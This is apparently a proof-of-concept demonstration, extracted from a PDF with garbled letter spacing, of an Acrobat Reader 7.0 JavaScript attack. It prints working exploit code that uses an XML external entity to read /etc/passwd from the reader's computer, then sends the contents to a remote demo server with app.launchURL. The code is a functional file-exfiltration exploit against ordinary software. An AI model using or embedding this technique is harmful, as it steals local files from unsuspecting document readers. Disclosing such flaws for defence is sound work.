
W h en you m ove  th e  m ouse  into th e  above  te xt field, a Javascript w ill try to fetch  
/etc/passw d from  your com pute r, and instruct your brow se r to go to 
h ttp://sh h .th ath ost.com /secdem o/sh ow .ph p w ith  th e  content of th e  file  as a 
param ete r.

In oth e r w ords: Th e  script reads a file  from  th e  local com pute r, and se nds it off to a 
rem ote  site .

At least th is w ork s on m y recently update d De b ian GNU/Linux box, w ith  Acrobat 
Reade r 7.0.

Th e  script look s lik e  th is:

var xm l="<?xm l ve rsion=\"1.0\" encoding=\"ISO -8859 -1\"?> <!DOCTYPE foo [  <!ELEM ENT foo ANY>   <!ENTITY xe e  

SYSTEM  \"/etc/passw d\">  ]> <foo> & xe e;</foo> ";

var xdoc = XM LData.parse (xm l, false);

app.launch URL("h ttp://sh h .th ath ost.com /secdem o/sh ow .ph p?h ead=Your+ /etc/passw dboot.ini& te xt="

                        +  e scape (xdoc.foo.value));
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